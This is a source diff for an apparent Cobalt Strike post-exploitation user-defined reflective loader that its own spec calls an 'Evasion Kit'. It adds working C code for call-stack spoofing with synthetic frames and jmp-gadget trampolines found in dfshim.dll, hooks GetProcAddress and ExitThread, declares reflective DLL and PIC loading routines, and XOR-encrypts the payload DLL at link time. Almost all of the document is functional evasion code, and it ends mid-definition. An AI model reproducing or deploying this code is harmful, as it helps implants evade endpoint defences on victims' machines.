} MEMORY_LAYOUT;
|
||||
@@ -0,0 +1,65 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
#include "cleanup.h"
|
||||
#include "tcg.h"
|
||||
|
||||
MEMORY_LAYOUT g_memory;
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
|
||||
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
/* lpProcName may be an ordinal */
|
||||
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
|
||||
{
|
||||
/* just resolve normally */
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
|
||||
|
||||
/*
|
||||
* result may still be NULL if
|
||||
* it wasn't hooked in the spec
|
||||
*/
|
||||
if ( result != NULL ) {
|
||||
return result;
|
||||
}
|
||||
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
void setup_hooks ( IMPORTFUNCS * funcs )
|
||||
{
|
||||
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
|
||||
}
|
||||
|
||||
void setup_memory ( MEMORY_LAYOUT * layout )
|
||||
{
|
||||
if ( layout != NULL ) {
|
||||
g_memory = * layout;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* throw these hooks in here because
|
||||
* sharing a global across multiple
|
||||
* modules is still a bit of a headache
|
||||
*/
|
||||
|
||||
VOID WINAPI _ExitThread ( DWORD dwExitCode )
|
||||
{
|
||||
/* free memory */
|
||||
cleanup_memory ( &g_memory );
|
||||
|
||||
/* call the real exit thread */
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwExitCode );
|
||||
|
||||
spoof_call ( &call );
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#include <windows.h>
|
||||
|
||||
/* patch function pointers in */
|
||||
__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) );
|
||||
__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) );
|
||||
|
||||
/**
|
||||
* This function is used to locate functions in
|
||||
* modules that are loaded by default (K32 & NTDLL)
|
||||
*/
|
||||
FARPROC resolve ( char * mod_name, char * func_name )
|
||||
{
|
||||
HANDLE module = get_module_handle ( mod_name );
|
||||
return get_proc_address ( module, func_name );
|
||||
}
|
||||
@@ -0,0 +1,386 @@
|
||||
#include <windows.h>
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
|
||||
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
#define RBP_OP_INFO 0x5
|
||||
|
||||
typedef struct {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME;
|
||||
|
||||
typedef enum {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE;
|
||||
|
||||
typedef struct {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode [ 1 ];
|
||||
} UNWIND_INFO;
|
||||
|
||||
typedef struct {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO;
|
||||
|
||||
typedef struct {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID Gadget;
|
||||
} SYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
FUNCTION_CALL * FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL;
|
||||
|
||||
typedef struct {
|
||||
PVOID Fixup;
|
||||
PVOID OriginalReturnAddress;
|
||||
PVOID Rbx;
|
||||
PVOID Rdi;
|
||||
PVOID BaseThreadInitThunkStackSize;
|
||||
PVOID BaseThreadInitThunkReturnAddress;
|
||||
PVOID TrampolineStackSize;
|
||||
PVOID RtlUserThreadStartStackSize;
|
||||
PVOID RtlUserThreadStartReturnAddress;
|
||||
PVOID Ssn;
|
||||
PVOID Trampoline;
|
||||
PVOID Rsi;
|
||||
PVOID R12;
|
||||
PVOID R13;
|
||||
PVOID R14;
|
||||
PVOID R15;
|
||||
} DRAUGR_PARAMETERS;
|
||||
|
||||
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
|
||||
frame->Frame1.ModuleAddress = frame1_module;
|
||||
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
|
||||
frame->Frame1.Offset = 0x17;
|
||||
|
||||
frame->Frame2.ModuleAddress = frame2_module;
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
// frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
|
||||
PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" );
|
||||
|
||||
if ( dfshim != NULL ) {
|
||||
frame->Gadget = dfshim;
|
||||
} else {
|
||||
frame->Gadget = LoadLibraryA ( "dfshim.dll" );
|
||||
}
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
{
|
||||
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
|
||||
|
||||
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
|
||||
|
||||
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
|
||||
|
||||
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
|
||||
{
|
||||
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
|
||||
|
||||
if ( h == TEXT_HASH )
|
||||
{
|
||||
*virtual_address = section_header[ i ].VirtualAddress;
|
||||
*size = section_header[ i ].SizeOfRawData;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
|
||||
{
|
||||
UNWIND_INFO * unwind_info = NULL;
|
||||
ULONG unwind_operation = 0;
|
||||
ULONG operation_info = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frame_offset = 0;
|
||||
|
||||
STACK_FRAME stack_frame = { 0 };
|
||||
|
||||
if ( ! runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
|
||||
|
||||
while ( index < unwind_info->CountOfCodes )
|
||||
{
|
||||
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
|
||||
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if ( unwind_operation == UWOP_PUSH_NONVOL )
|
||||
{
|
||||
stack_frame.TotalStackSize += 8;
|
||||
|
||||
if ( operation_info == RBP_OP_INFO )
|
||||
{
|
||||
stack_frame.PushRbp = TRUE;
|
||||
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
|
||||
stack_frame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_NONVOL )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_SMALL )
|
||||
{
|
||||
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_LARGE )
|
||||
{
|
||||
index += 1;
|
||||
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
|
||||
|
||||
if (operation_info == 0)
|
||||
{
|
||||
frame_offset *= 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
index += 1;
|
||||
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += frame_offset;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SET_FPREG )
|
||||
{
|
||||
stack_frame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_XMM128 )
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
|
||||
{
|
||||
index = unwind_info->CountOfCodes;
|
||||
|
||||
if ( 0 != ( index & 1 ) )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
|
||||
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += 8;
|
||||
return ( PVOID ) ( stack_frame.TotalStackSize );
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
|
||||
{
|
||||
RUNTIME_FUNCTION * runtime_function = NULL;
|
||||
DWORD64 image_base = 0;
|
||||
PUNWIND_HISTORY_TABLE history_table = NULL;
|
||||
|
||||
if ( ! return_address ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
|
||||
|
||||
if ( NULL == runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
PVOID find_gadget( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
/* check for a call before the gadget */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID return_address = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugr_params = { 0 };
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
|
||||
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.RtlUserThreadStartReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
|
||||
|
||||
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
|
||||
}
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
|
||||
{
|
||||
/* very inelegant */
|
||||
if ( call->argc == 0 ) {
|
||||
return draugr_wrapper ( call->ptr, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 1 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 2 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 3 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 4 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 5 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 6 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 7 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 8 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 9 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
|
||||
} else if ( call->argc == 10 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
|
||||
} else if ( call->argc == 11 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
|
||||
} else if ( call->argc == 12 ) {
|
||||
return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
|
||||
} else {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#define spoof_arg(x) ( ULONG_PTR ) ( x )
|
||||
|
||||
typedef struct {
|
||||
PVOID ptr;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL;
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst);
|
||||
void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
@@ -1,14 +0,0 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
@@ -1,36 +0,0 @@
|
||||
name "Crystal Kit Postex UDRL"
|
||||
describe "Evasion Kit for Cobalt Strike"
|
||||
author "Daniel Duggan (@_RastaMouse)"
|
||||
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco +mutate
|
||||
dfr "resolve" "ror13"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
mergelib "../libtp.x64.zip"
|
||||
|
||||
load "bin/proxy.x64.o"
|
||||
make pic
|
||||
export
|
||||
preplen
|
||||
link "draugr"
|
||||
|
||||
generate $KEY 128
|
||||
|
||||
load "bin/hook.x64.o"
|
||||
make object +optimize +disco
|
||||
mergelib "../libtcg.x64.zip"
|
||||
import "LoadLibraryA, GetProcAddress, SpoofStub"
|
||||
export
|
||||
link "hooks"
|
||||
|
||||
push $DLL
|
||||
xor $KEY
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $KEY
|
||||
preplen
|
||||
link "key"
|
||||
|
||||
export
|
||||
@@ -1,115 +0,0 @@
|
||||
#include <windows.h>
|
||||
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#define NtCurrentProcess() ((HANDLE)(ULONG_PTR)-1)
|
||||
|
||||
typedef struct {
|
||||
ULONG ExtendedProcessInfo;
|
||||
ULONG ExtendedProcessInfoBuffer;
|
||||
} EXTENDED_PROCESS_INFORMATION, * PEXTENDED_PROCESS_INFORMATION;
|
||||
|
||||
typedef enum _PROCESSINFOCLASS {
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessCookie = 36
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct _VM_INFORMATION {
|
||||
DWORD dwNumberOfOffsets;
|
||||
PULONG plOutput;
|
||||
PCFG_CALL_TARGET_INFO ptOffsets;
|
||||
PVOID pMustBeZero;
|
||||
PVOID pMoarZero;
|
||||
} VM_INFORMATION, * PVM_INFORMATION;
|
||||
|
||||
typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS {
|
||||
VmPrefetchInformation,
|
||||
VmPagePriorityInformation,
|
||||
VmCfgCallTargetInformation
|
||||
} VIRTUAL_MEMORY_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _MEMORY_RANGE_ENTRY {
|
||||
PVOID VirtualAddress;
|
||||
SIZE_T NumberOfBytes;
|
||||
} MEMORY_RANGE_ENTRY, * PMEMORY_RANGE_ENTRY;
|
||||
|
||||
typedef enum _MEMORY_INFORMATION_CLASS {
|
||||
MemoryBasicInformation
|
||||
